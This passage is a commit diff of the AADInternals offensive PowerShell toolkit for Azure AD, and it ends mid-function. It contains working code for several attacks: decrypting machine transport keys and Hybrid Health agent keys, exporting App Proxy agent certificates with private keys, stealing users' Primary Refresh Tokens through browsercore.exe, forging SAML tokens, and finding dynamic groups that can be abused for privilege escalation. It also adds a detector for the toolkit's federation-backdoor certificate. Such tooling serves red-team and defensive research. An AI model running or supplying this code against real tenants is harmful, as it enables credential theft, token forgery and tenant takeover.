{
$transPortKeyName = Get-ItemPropertyValue -Path "$registryPath" -Name "SoftwareKeyTransportKeyName"
}
catch
{
# This machine probably has a TPM, so the value name would be "TpmKeyTransportKeyName"
Throw "Unable to get SoftwareTransportKeyName from $registryPath"
}
Write-Verbose "TransportKey name: $transportKeyName`n"
# Loop through the system keys
$systemKeys = Get-ChildItem -Path "$env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys"
foreach($systemKey in $systemKeys)
{
Write-Verbose "Parsing $($systemKey.FullName)"
$keyBlob = Get-BinaryContent $systemKey.FullName
# Parse the blob to get the name
$key = Parse-CngBlob -Data $keyBlob
if($key.name -eq $transPortKeyName)
{
Write-Verbose "Transport Key found! Decrypting.."
# Decrypt the found key
$transPortKey = Parse-CngBlob -Data $keyBlob -Decrypt -LocalMachine
return $transPortKey
}
}
}
End
{
$sha256.Dispose()
}
}
# Parses the oid values of the given certificate
# Dec 23rd 2021
function Parse-CertificateOIDs
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True,ValueFromPipeline)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
function Get-OidRawValue
{
Param([byte[]]$RawValue)
Process
{
# Is this DER value?
if($RawValue.Length -gt 2 -and ($RawValue[2] -eq $RawValue.Length-3 ))
{
return $RawValue[3..($RawValue.Length-1)]
}
else
{
return $RawValue
}
}
}
$retVal = New-Object psobject
foreach($ext in $Certificate.Extensions)
{
switch($ext.Oid.Value)
{
"1.2.840.113556.1.5.284.2" {
$retVal | Add-Member -NotePropertyName "DeviceId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
}
# "The objectGuid of the user object ([MS-ADSC] section 2.268) on the directory server that corresponds to the authenticating user."
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dvrj/850786b9-2525-4047-a5ff-8c3093b46b88
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dvre/76747b5c-06c2-4c73-9207-8ebb6ee891ea
# I.e. the object ID in AAD of the user who joined/registered the device
"1.2.840.113556.1.5.284.3" {
$retVal | Add-Member -NotePropertyName "AuthUserObjectId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
}
"1.2.840.113556.1.5.284.5" {
$retVal | Add-Member -NotePropertyName "TenantId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
}
"1.2.840.113556.1.5.284.8" {
# Tenant region
# AF = Africa
# AS = Asia
# AP = Australia/Pasific
# EU = Europe
# ME = Middle East
# NA = North America
# SA = South America
$retVal | Add-Member -NotePropertyName "Region" -NotePropertyValue ([text.encoding]::UTF8.getString([byte[]](Get-OidRawValue -RawValue $ext.RawData)))
}
"1.2.840.113556.1.5.284.7" {
# JoinType
# 0 = Registered
# 1 = Joined
$retVal | Add-Member -NotePropertyName "JoinType" -NotePropertyValue ([int]([text.encoding]::UTF8.getString([byte[]](Get-OidRawValue -RawValue $ext.RawData))))
}
}
}
return $retVal
}
}
# Gets service account names for all services
# Aug 29th 2022
function Get-ServiceAccountNames
{
[cmdletbinding()]
Param()
Process
{
foreach($service in Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Services\")
{
$svcName = $service.PSChildName
$svcAccount = $service.GetValue("ObjectName")
if(![string]::IsNullOrEmpty($svcAccount))
{
Write-Debug "Service: '$svcName', AccountName: '$svcAccount'"
New-Object psobject -Property ([ordered]@{"Service" = $svcName; "AccountName" = $svcAccount})
}
}
}
}
+128 -50
View File
@@ -46,17 +46,17 @@ function New-SAMLToken
The password of the .pfx file
.Example
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword "mypassword"
.Example
PS C:\>$cert = Load-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
.Example
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword "mypassword"
.Example
PS C:\>$saml = New-AADIntSAMLToken -UPN "My PC" -DeviceGUID (New-Guid) -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
PS C:\>$saml = New-AADIntSAMLToken -UPN "My PC" -DeviceGUID (New-Guid) -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword "mypassword"
#>
[cmdletbinding()]
@@ -265,7 +265,7 @@ function New-SAML2Token
The password of the .pfx file
.Example
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword "mypassword"
.Example
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
@@ -536,7 +536,7 @@ function Open-Office365Portal
Which browser to be used. Can be "IE", "Chrome", or "Edge". Defaults to "Edge"
.Example
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword "mypassword"
.Example
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
@@ -567,7 +567,9 @@ function Open-Office365Portal
[switch]$UseBuiltInCertificate,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[Parameter(Mandatory=$False)]
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[Parameter(Mandatory=$True)]
[String]$Issuer,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
@@ -598,7 +600,7 @@ function Open-Office365Portal
{
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
}
elseif($Certificate -eq $null) # Load the ceftificate
elseif($Certificate -eq $null) # Load the certificate
{
try
{
@@ -684,49 +686,6 @@ function Open-Office365Portal
}
}
}
# Gets immutable id from AD user
function Get-ImmutableID
{
<#
.SYNOPSIS
Gets Immutable ID using user's AD object
.DESCRIPTION
Gets Immutable ID using user's AD object
.Parameter ADUser
Users AD object.
.Example
PS C:\>$user=Get-ADUser "myuser"
PS C:\>$immutableId=Get-AADIntImmutableID -ADUser $user
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$ADUser
)
Process
{
if($ADUser.GetType().ToString() -ne "Microsoft.ActiveDirectory.Management.ADUser")
{
Write-Error "ADUser is wrong type. Must be Microsoft.ActiveDirectory.Management.ADUser"
return
}
# Convert GUID to Base64
$guid=$ADUser.ObjectGUID.ToString()
$ImmutableId=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getBytes($guid))
return $ImmutableId
}
}
# Creates a backdoor to Azure AD by using an existing domain
function ConvertTo-Backdoor
@@ -921,5 +880,124 @@ function Get-ADFSIssuer
throw "Issuer must be provided!"
}
return $Issuer
}
}
# Finds backdoors using AADInternals default certificate
function Find-Backdoor
{
<#
.SYNOPSIS
Finds federated domain backdoors.
.DESCRIPTION
Lists all federated domains and their current and next signing certificate thumbprints.
If AADInternals backdoor is found, a warning is given.
.Parameter AccessToken
Access Token
.Example
PS C:\>Find-AADIntBackdoor
WARNING: Domain company.myo365.site SigningCertificate is AADInternals backdoor!
Domain : company.myo365.site
Subject : CN=hack.o365domain.org, O=Gerenios, S=Pirkanmaa, C=fi
NextSubject :
Thumbprint : 4B56E1F1B80024359E34010D9AAB3CED9C67FF5E
NextThumbprint :
Issuer : http://any.sts/B231A11F
.Example
PS C:\>Find-AADIntBackdoor
WARNING: Domain company.com NextSigningCertificate is AADInternals backdoor!
Domain : company.com
Subject : CN=ADFS Signing - sts.company.com
NextSubject : CN=hack.o365domain.org, O=Gerenios, S=Pirkanmaa, C=fi
Thumbprint : 2566A9000AA424DE73925D42C7D5115479C18CED
NextThumbprint : 4B56E1F1B80024359E34010D9AAB3CED9C67FF5E
Issuer : http://sts.company.com/adfs/services/trust
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Begin
{
# Checks whether the given thumbprint matches AADInternals backdoor cert
function IsBackdoor
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Thumbprint
)
if([string]::IsNullOrEmpty($Thumbprint))
{
return $false
}
else
{
return $Thumbprint -eq "4B56E1F1B80024359E34010D9AAB3CED9C67FF5E"
}
}
}
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
$domains = Get-Domains -AccessToken $AccessToken
foreach($domain in ($domains | Select-Object -ExpandProperty "Domain"))
{
if($domain.Authentication -eq "Federated")
{
$federationSettings = Get-DomainFederationSettings -AccessToken $AccessToken -DomainName $domain.Name
if(![string]::IsNullOrEmpty($federationSettings.SigningCertificate))
{
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]](Convert-B64ToByteArray -B64 $federationSettings.SigningCertificate))
$certThumb = $cert.Thumbprint
if(IsBackdoor -Thumbprint $certThumb)
{
Write-Warning "Domain $($domain.Name) SigningCertificate is AADInternals backdoor!"
}
}
if(![string]::IsNullOrEmpty($federationSettings.NextSigningCertificate))
{
$nextCert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]](Convert-B64ToByteArray -B64 $federationSettings.NextSigningCertificate))
$nextCertThumb = $nextCert.Thumbprint
if(IsBackdoor -Thumbprint $nextCertThumb)
{
Write-Warning "Domain $($domain.Name) NextSigningCertificate is AADInternals backdoor!"
}
}
[pscustomobject][ordered]@{
"Domain" = $domain.Name
"Subject" = $cert.Subject
"NextSubject" = $nextCert.Subject
"Thumbprint" = $certThumb
"NextThumbprint" = $nextCertThumb
"Issuer" = $federationSettings.IssuerUri
}
}
}
}
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+62
View File
@@ -1,6 +1,68 @@
# This script contains functions for Graph API at https://graph.windows.net
# Office 365 / Azure AD v2, a.k.a. AzureAD module uses this API
function Get-DynamicAbusableGroups
{
<#
.SYNOPSIS
Return Entra ID groups with dynamic membership rule that contains attributes that can be modified by users.
Related articles:
https://medium.com/r3d-buck3t/abusing-dynamic-groups-in-azuread-part-1-ff12e328c8c0
https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/
.DESCRIPTION
Return Entra ID groups with dynamic membership rule that contains attributes that can be modified by users using the given Access Token
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token
.
.Example
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Get-AADIntDynamicAbusableGroups
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
$abusableCondsUser = @("ageGroup","jobTitle","city","givenName","displayName","companyName", "country","department","employeeType","mailNickname","mail","state")
$results=Call-GraphAPI -AccessToken $AccessToken -Command groups
$dynamicGroups = $results | Where-Object groupTypes -contains "DynamicMembership"
$userReg = 'user\.(.+?)\s'
$abusableGroupsOutput = @{}
foreach($dynamicGroup in $dynamicGroups){
$abusable = $false
$groupId = $dynamicGroup.objectId
$groupTempList = @()
$userMatches = $dynamicGroup.membershipRule | Select-String -Pattern $userReg -AllMatches
foreach($userMatch in $userMatches.Matches)
{
$matchType = $userMatch.Groups[1]
if($abusableCondsUser.Contains($matchType.value))
{
$abusable = $true
}
}
if($abusable)
{
$abusableGroupsOutput.Add($groupId,$dynamicGroup.membershipRule)
}
}
$abusableGroupsOutput.keys | % {
New-object psobject -Property @{
'groupId' = $_
'abusableRule' = $abusableGroupsOutput[$_]
}
}
return $abusableGroupsOutput
}
}
function Get-AADUsers
{
[cmdletbinding()]
+5
View File
@@ -35,6 +35,11 @@ function Call-GraphAPI
}
$Headers["Authorization"] = "Bearer $AccessToken"
if([string]::IsNullOrEmpty($Headers["User-Agent"]))
{
$Headers["User-Agent"] = Get-UserAgent
}
# Call the API
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://graph.windows.net/$TenantId/$Command`?api-version=$ApiVersion$(if(![String]::IsNullOrEmpty($QueryString)){"&$QueryString"})" -ContentType "application/json; charset=utf-8; odata.metadata=none" -Method $Method -Body $Body -Headers $Headers -ErrorAction SilentlyContinue
-60
View File
@@ -409,66 +409,6 @@ function Send-ADFSServiceBusMessage
}
}
# Gets ADHybridHealthService agent information from the local computer
# May 26th 2021
function Get-HybridHealthServiceAgentInfo
{
<#
.SYNOPSIS
Gets ADHybridHealthService agent information from the local computer.
.DESCRIPTION
Gets ADHybridHealthService agent information from the local computer.
.Parameter Service
Which service's agent information to return. Can be one of "ADFS" or "Sync". Defaults to ADFS.
.Example
PS C:\>Get-AADIntHybridHealthServiceAgentInfo
AgentKey : 6Fk9SiL[redacted]Hw==
TenantId : 5d898b21-4478-4ee0-a2be-ad4dfb540b09
ServiceId : 59f626ab-92cd-4658-b12f-12a604f5f1c2
ServiceMemberId : 0bfc0715-1ed2-44c7-89ec-bf7842cc4575
MachineId : 279a0323-4647-494c-ac3a-fc13545f3c33
#>
[cmdletbinding()]
Param(
[ValidateSet("ADFS","Sync")]
[String]$Service="ADFS"
)
Begin
{
# Add the required assembly and entropy
Add-Type -AssemblyName System.Security
$entropy = [text.encoding]::Unicode.getBytes("ra4k1Q0qHdYSZfqGxgnFB3c6Z025w4IU")
}
Process
{
$attributes = [ordered]@{}
try
{
# Decrypt the agent key
$encAgentKey = Convert-B64ToByteArray -B64 (Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent" -Name "AgentKey")
$attributes["AgentKey"] = Convert-ByteArrayToB64 -Bytes ([Security.Cryptography.ProtectedData]::Unprotect([byte[]]$encAgentKey, $entropy, 'CurrentUser'))
# Get other relevant agent information
$attributes["TenantId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent" -Name "TenantId"
$attributes["ServiceId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ServiceId"
$attributes["ServiceMemberId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ServiceMemberId"
$attributes["MachineId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent" -Name "MachineIdentity"
$attributes["Server"] = $env:COMPUTERNAME
}
catch
{
Throw "Must be run as Local Administrator and on the computer where the agent is installed!`nGot error: $($_.Exception.Message)"
}
# Return
New-Object -TypeName psobject -Property $attributes
}
}
# Create a fake hybrid health service event
# May 26th 2021
function New-HybridHealtServiceEvent
BIN
View File
Binary file not shown.
+4 -2
View File
@@ -41,7 +41,9 @@ function Join-DeviceToIntune
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceName
[String]$DeviceName,
[Parameter(Mandatory=$False)]
[guid]$ZtdCorrelationId
)
Process
{
@@ -61,7 +63,7 @@ function Join-DeviceToIntune
try
{
$joinInfo = Enroll-DeviceToMDM -AccessToken $AccessToken -DeviceName $DeviceName -BPRT $BPRT
$joinInfo = Enroll-DeviceToMDM -AccessToken $AccessToken -DeviceName $DeviceName -BPRT $BPRT -ZtdCorrelationId $ZtdCorrelationId
}
catch
{
+17 -5
View File
@@ -76,7 +76,9 @@ function Enroll-DeviceToMDM
[Parameter(Mandatory=$True)]
[String]$DeviceName,
[Parameter(Mandatory=$True)]
[bool]$BPRT
[bool]$BPRT,
[Parameter(Mandatory=$False)]
[object]$ZtdCorrelationId
)
Process
{
@@ -105,6 +107,7 @@ function Enroll-DeviceToMDM
"User-Agent" = "ENROLLClient"
}
# Create the CSR request body
$csrBody=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wst="http://docs.oasis-open.org/ws-sx/ws-trust/200512" xmlns:ac="http://schemas.xmlsoap.org/ws/2006/12/authorization">
@@ -126,22 +129,25 @@ function Enroll-DeviceToMDM
<wsse:BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">$csr</wsse:BinarySecurityToken>
<ac:AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization">
<ac:ContextItem Name="UXInitiated">
<ac:Value>(($BPRT -eq $false).ToString().ToLower())</ac:Value>
<ac:Value>$(($BPRT -eq $false).ToString().ToLower())</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="HWDevID">
<ac:Value>$HWDevID</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="BulkAADJ">
<ac:ContextItem Name="OfflineAutoPilotEnrollmentCorrelator">
<ac:Value>$ZtdCorrelationId</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="BulkAADJ">
<ac:Value>$($BPRT.ToString().ToLower())</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="Locale">
<ac:Value>en-US</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="TargetedUserLoggedIn">
<ac:Value>$(($BPRT -eq $false).ToString().ToLower())</ac:Value>
<ac:Value>$((($BPRT -eq $false) -or ($ZtdCorrelationId -eq $null)).ToString().ToLower())</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="EnrollmentData">
<ac:Value></ac:Value>
<ac:Value>$ZtdCorrelationId</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="OSEdition">
<ac:Value>4</ac:Value>
@@ -167,6 +173,12 @@ function Enroll-DeviceToMDM
<ac:ContextItem Name="ApplicationVersion">
<ac:Value>10.0.18363.0</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="NotInOobe">
<ac:Value>true</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="RequestVersion">
<ac:Value>5.0</ac:Value>
</ac:ContextItem>
</ac:AdditionalContext>
</wst:RequestSecurityToken>
</s:Body>
-169
View File
@@ -568,175 +568,6 @@ function Add-ProxyAgentToGroup
}
}
# Export proxy agent certificates from the local computer
# Mar 8th 2022
# Aug 17th 2022: Added support for exporting from NETWORK SERVICE personal store
function Export-ProxyAgentCertificates
{
<#
.SYNOPSIS
Export certificates of all MS App Proxy agents from the local computer.
.DESCRIPTION
Export certificates of all MS App Proxy agents from the local computer.
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
.Example
Export-AADIntProxyAgentCertificates
WARNING: Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore PTA01\Administrator rights.
Certificate saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.pfx
#>
[cmdletbinding()]
Param()
Process
{
# Get all certificates from LocalMachine Personal store
$certificates = @(Get-Item Cert:\LocalMachine\My\*)
# Internal function to parse PTA & Provisioning agent configs
function Parse-ConfigCert
{
[cmdletbinding()]
Param(
[String]$ConfigPath
)
Process
{
# Check if we have a PTA or provisioning agent configuration and get the certificate if stored in NETWORK SERVICE personal store
[xml]$trustConfig = Get-Content "$env:ProgramData\Microsoft\$ConfigPath\Config\TrustSettings.xml" -ErrorAction SilentlyContinue
if($trustConfig)
{
$thumbPrint = $trustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.Thumbprint
# Check where the certificate is stored
if($trustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.IsInUserStore.ToLower().equals("true"))
{
# Certificate is stored in NETWORK SERVICE personal store so we need to parse it from there
Write-Verbose "Parsing certificate: $($thumbPrint)"
Parse-CertBlob -Data (Get-BinaryContent "$env:windir\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\$thumbPrint")
}
}
}
}
if($PTACert = Parse-ConfigCert -ConfigPath "Azure AD Connect Authentication Agent")
{
$binCert = $PTACert.DER
$certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert)
$PTAKeyName = $PTACert.KeyName
$certificates += $certificate
}
if($ProvCert = Parse-ConfigCert -ConfigPath "Azure AD Connect Provisioning Agent")
{
$binCert = $ProvCert.DER
$certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert)
$ProvKeyName = $ProvCert.KeyName
$certificates += $certificate
}
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
Write-Warning "Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
foreach($certificate in $certificates)
{
Write-Verbose "Reading certificate: $($certificate.Thumbprint)"
foreach($ext in $Certificate.Extensions)
{
# Check the agent Id OID exist
if($ext.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
{
# Extract agent and tenant IDs
$agentId = [guid] $ext.RawData
$tenantId = [guid] $certificate.Subject.Split("=")[1]
Write-Verbose " Tenant Id: $tenantId, Agent Id: $agentId"
# Get the certificate
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
# Get the key blob and decrypt the keys
if($PTACert)
{
# If stored in NETWORK SERVICE store, PTA Agent's key name can't be readed from the certificate
$keyName = $PTAKeyName
}
elseif($ProvCert)
{
# If stored in NETWORK SERVICE store, Provisioning Agent's key name can't be readed from the certificate
$keyName = $ProvKeyName
}
else
{
# Read the key name from the certificate
$keyName = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uniquename
}
# Discard trailing null, cr, lf
$keyName = $keyName.trimEnd(@(0x00,0x0a,0x0d))
$paths = @(
"$env:ALLUSERSPROFILE\Microsoft\Crypto\RSA\MachineKeys\$keyName"
"$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$keyName"
"$env:windir\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-20\$keyName"
)
foreach($path in $paths)
{
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
if($keyBlob)
{
Write-Verbose "Key loaded from $path"
break
}
}
if(!$keyBlob)
{
if($keyName.EndsWith(".PCPKEY"))
{
# This machine has a TPM
Throw "PCP keys are not supported, unable to export private key!"
}
else
{
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
}
return
}
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
switch($blobType)
{
1 { $privateKey = Parse-CngBlob -Data $keyBlob -Decrypt -LocalMachine}
2 { $privateKey = Parse-CapiBlob -Data $keyBlob -Decrypt -LocalMachine}
default { throw "Unsupported key blob type" }
}
# Save to pfx file
$machineName = Get-ComputerName -FQDN
$fileName = "$($machineName)_$($tenantId)_$($agentId)_$($certificate.Thumbprint).pfx"
Set-BinaryContent -Path $fileName -Value (New-PfxFile -RSAParameters ($privateKey.RSAParameters) -X509Certificate $binCert)
# Set the modified date
(Get-Item -Path $fileName).LastWriteTime = $certificate.NotBefore
Write-Host "Certificate saved to: $fileName"
break
}
}
}
}
}
# Export proxy agent bootstraps using the given certificates
# Nov 1st 2022
function Export-ProxyAgentBootstraps
+5
View File
@@ -32,6 +32,11 @@ function Call-MSGraphAPI
}
$Headers["Authorization"] = "Bearer $AccessToken"
if([string]::IsNullOrEmpty($Headers["User-Agent"]))
{
$Headers["User-Agent"] = Get-UserAgent
}
# Create the url
$url = "https://graph.microsoft.com/$($ApiVersion)/$($API)?$(if(![String]::IsNullOrEmpty($QueryString)){"&$QueryString"})"
+3 -143
View File
@@ -1,146 +1,5 @@
# This file contains functions for Persistent Refresh Token and related device operations
# Get the PRT token from the current user
# Aug 19th 2020
function Get-UserPRTToken
{
<#
.SYNOPSIS
Gets user's PRT token from the Azure AD joined or Hybrid joined computer.
.DESCRIPTION
Gets user's PRT token from the Azure AD joined or Hybrid joined computer.
Uses browsercore.exe or Token Provider DLL to get the PRT token.
.Parameter Method
Method to use to retrieve the user's PRT token.
"BrowserCore" for browsercore.exe or "TokenProvider" for Token Provider DLL
.EXAMPLE
PS C:\> Get-AADIntUserPRTToken
eyJ4NWMiOi...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[ValidateSet('BrowserCore','TokenProvider')]
[String]$Method="BrowserCore"
)
Process
{
# Get the nonce
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body "grant_type=srv_challenge"
$nonce = $response.Nonce
if($Method -eq "BrowserCore")
{
# There are two possible locations
$locations = @(
"$($env:ProgramFiles)\Windows Security\BrowserCore\browsercore.exe"
"$($env:windir)\BrowserCore\browsercore.exe"
)
# Check the locations
foreach($file in $locations)
{
if(Test-Path $file)
{
$browserCore = $file
}
}
if(!$browserCore)
{
throw "Browsercore not found!"
}
# Create the process
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = $browserCore
$p.StartInfo.UseShellExecute = $false
$p.StartInfo.RedirectStandardInput = $true
$p.StartInfo.RedirectStandardOutput = $true
$p.StartInfo.CreateNoWindow = $true
# Create the message body
$body = @"
{
"method":"GetCookies",
"uri":"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce",
"sender":"https://login.microsoftonline.com"
}
"@
# Start the process
$p.Start() | Out-Null
$stdin = $p.StandardInput
$stdout = $p.StandardOutput
# Write the input
$stdin.BaseStream.Write([bitconverter]::GetBytes($body.Length),0,4)
$stdin.Write($body)
$stdin.Close()
# Read the output
$response=""
while(!$stdout.EndOfStream)
{
$response += $stdout.ReadLine()
}
Write-Debug "RESPONSE: $response"
$p.WaitForExit()
# Strip the stuff from the beginning of the line
$response = $response.Substring($response.IndexOf("{")) | ConvertFrom-Json
# Check for error
if($response.status -eq "Fail")
{
Throw "Error getting PRT: $($response.code). $($response.description)"
}
# Get the index of the x-ms-RefreshTokenCredential data or throw error
$token_index = $response.response.name.IndexOf("x-ms-RefreshTokenCredential")
if($token_index -lt 0)
{
throw "Could not find the x-ms-RefreshTokenCredential cookie in response"
}
# Return the data for x-ms-RefreshTokenCredential
$tokens = $response.response[$token_index].data
return $tokens
}
else
{
$tokens = [AADInternals.Native]::getCookieInfoForUri("https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce")
if($tokens.Count)
{
Write-Verbose "Found $($tokens.Count) token(s)."
# Get the index of the x-ms-RefreshTokenCredential data or throw error
$token_index = $tokens.name.IndexOf("x-ms-RefreshTokenCredential")
if($token_index -lt 0)
{
throw "Could not find the x-ms-RefreshTokenCredential cookie in response"
}
# Return the data for x-ms-RefreshTokenCredential
$token = $tokens[$token_index]["data"]
return $token.Split(";")[0]
}
else
{
Throw "Error getting tokens."
}
}
}
}
# Creates a new PRT token
# Aug 26th 2020
function New-UserPRTToken
@@ -1023,7 +882,8 @@ function Get-UserPRTKeys
[Parameter(ParameterSetName='CloudAP' ,Mandatory=$True)]
[switch]$CloudAP,
[Parameter(ParameterSetName='CloudAP' ,Mandatory=$True)]
[Parameter(ParameterSetName='CloudAP' ,Mandatory=$True)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
@@ -1236,7 +1096,7 @@ function Get-UserPRTKeys
if ($IncludePartialTGT)
{
$tgt = Decrypt-JWE -JWE $response.tgt_client_key -SessionKey $sessionKey
$tgt = Decrypt-JWE -JWE (ConvertFrom-Json $response.tgt_cloud).tgt_client_key -SessionKey $sessionKey
$response | Add-Member -NotePropertyName "decrypted_tgt_client_key" -NotePropertyValue (Convert-ByteArrayToB64 -Bytes $tgt)
}
-571
View File
@@ -1,571 +0,0 @@
# PowerShell Remoting Protocol functions
# Creates a PowerShell remote shell
# Apr 24th 2019
function Create-PSRPShell
{
[cmdletbinding()]
Param(
[Parameter()]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$false,
[Parameter(Mandatory=$False)]
[String]$SessionId=((New-Guid).ToString())
)
Process
{
$Body = @"
